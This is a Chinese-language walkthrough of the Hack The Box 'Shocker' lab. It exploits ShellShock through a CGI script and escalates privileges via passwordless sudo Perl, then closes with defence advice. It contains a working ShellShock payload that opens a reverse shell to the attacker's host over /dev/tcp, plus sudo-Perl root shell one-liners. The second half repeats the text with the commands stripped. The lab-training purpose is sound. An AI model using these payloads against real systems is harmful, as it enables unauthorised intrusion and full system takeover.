Oscp训练靶场之HTB-Shocker
字数 1125 2025-08-11 00:55:05

ShellShock漏洞利用实战教学:HTB-Shocker靶机渗透

1. ShellShock漏洞概述

ShellShock(破壳漏洞)是Unix Bash Shell中的高危漏洞,于2014年9月24日首次公开。该漏洞允许攻击者通过低版本的Bash执行任意shell命令,特别是在一些网络服务器部署中使用Bash处理请求的情况下。

2. 信息收集阶段

2.1 初始扫描

使用Nmap进行全面的端口和服务扫描:

nmap -sC -sV -A -v 10.10.10.56

扫描结果关键信息:

  • 开放端口:
    • 80/tcp: Apache httpd 2.4.18 (Ubuntu)
    • 2222/tcp: OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
  • 操作系统:Linux (Ubuntu)

2.2 目录枚举

使用dirsearch进行目录扫描:

python3 dirsearch.py -u 10.10.10.56 --url-list=/usr/share/wordlists/dirbuster/director-list-2.3-medium.txt -e default

发现关键目录:

  • /cgi-bin/
  • /server-status/

进一步扫描/cgi-bin/目录下的可执行脚本:

python3 dirsearch.py -u 10.10.10.56/cgi-bin --url-list=/usr/share/wordlists/dirbuster/director-list-2.3-medium.txt -e sh,pl

发现关键文件:

  • /cgi-bin/user.sh

3. 漏洞分析

访问http://10.10.10.56/cgi-bin/user.sh发现:

  • 文件内容是uptime命令的执行结果
  • 每次访问内容会随时间变化,说明是实时执行

这表明:

  1. 服务器通过Bash shell执行命令
  2. 可能存在ShellShock漏洞

4. ShellShock漏洞利用

4.1 漏洞验证

使用curl测试ShellShock漏洞:

curl -A "() { :; }; echo; echo vulnerable" http://10.10.10.56/cgi-bin/user.sh

如果返回"vulnerable",则确认存在漏洞。

4.2 反弹Shell利用

在攻击机(10.10.14.7)上监听8888端口:

nc -lvnp 8888

执行利用代码:

wget -qO- -U "() { :; }; echo Content-Type: text/html; echo; echo; /bin/bash -i >& /dev/tcp/10.10.14.7/8888 0>&1" http://10.10.10.56/cgi-bin/user.sh

成功获取反弹shell后:

cd /home/shelly
cat user.txt  # 获取user权限

5. 权限提升

5.1 检查sudo权限

sudo -l

发现可以使用root权限执行Perl:

(root) NOPASSWD: /usr/bin/perl

5.2 利用Perl获取root shell

sudo /usr/bin/perl -e 'exec "/bin/sh"'

或者直接执行命令:

sudo perl -e 'system("/bin/bash")'

成功获取root权限后:

cd /root
cat root.txt

6. 防御措施

  1. Bash升级:升级到最新版本的Bash (4.3及以上)
  2. CGI脚本安全
    • 避免在CGI脚本中使用Bash
    • 使用更安全的语言如Python或Perl
  3. 权限控制
    • 严格限制sudo权限
    • 避免无密码sudo执行敏感命令
  4. 输入验证:对所有用户输入进行严格过滤
  5. 网络隔离:限制CGI目录的外部访问

7. 总结

本次渗透测试流程:

  1. 通过Nmap发现开放服务
  2. 目录枚举发现/cgi-bin/user.sh
  3. 分析确认ShellShock漏洞
  4. 利用漏洞获取初始shell
  5. 通过sudo权限提升获取root

关键点:

  • ShellShock漏洞利用需要目标使用Bash处理HTTP请求
  • 目录枚举是发现漏洞入口的关键
  • sudo权限配置不当是权限提升的常见途径
ShellShock漏洞利用实战教学:HTB-Shocker靶机渗透 1. ShellShock漏洞概述 ShellShock(破壳漏洞)是Unix Bash Shell中的高危漏洞,于2014年9月24日首次公开。该漏洞允许攻击者通过低版本的Bash执行任意shell命令,特别是在一些网络服务器部署中使用Bash处理请求的情况下。 2. 信息收集阶段 2.1 初始扫描 使用Nmap进行全面的端口和服务扫描: 扫描结果关键信息: 开放端口: 80/tcp: Apache httpd 2.4.18 (Ubuntu) 2222/tcp: OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 操作系统:Linux (Ubuntu) 2.2 目录枚举 使用dirsearch进行目录扫描: 发现关键目录: /cgi-bin/ /server-status/ 进一步扫描/cgi-bin/目录下的可执行脚本: 发现关键文件: /cgi-bin/user.sh 3. 漏洞分析 访问 http://10.10.10.56/cgi-bin/user.sh 发现: 文件内容是 uptime 命令的执行结果 每次访问内容会随时间变化,说明是实时执行 这表明: 服务器通过Bash shell执行命令 可能存在ShellShock漏洞 4. ShellShock漏洞利用 4.1 漏洞验证 使用curl测试ShellShock漏洞: 如果返回"vulnerable",则确认存在漏洞。 4.2 反弹Shell利用 在攻击机(10.10.14.7)上监听8888端口: 执行利用代码: 成功获取反弹shell后: 5. 权限提升 5.1 检查sudo权限 发现可以使用root权限执行Perl: 5.2 利用Perl获取root shell 或者直接执行命令: 成功获取root权限后: 6. 防御措施 Bash升级 :升级到最新版本的Bash (4.3及以上) CGI脚本安全 : 避免在CGI脚本中使用Bash 使用更安全的语言如Python或Perl 权限控制 : 严格限制sudo权限 避免无密码sudo执行敏感命令 输入验证 :对所有用户输入进行严格过滤 网络隔离 :限制CGI目录的外部访问 7. 总结 本次渗透测试流程: 通过Nmap发现开放服务 目录枚举发现/cgi-bin/user.sh 分析确认ShellShock漏洞 利用漏洞获取初始shell 通过sudo权限提升获取root 关键点: ShellShock漏洞利用需要目标使用Bash处理HTTP请求 目录枚举是发现漏洞入口的关键 sudo权限配置不当是权限提升的常见途径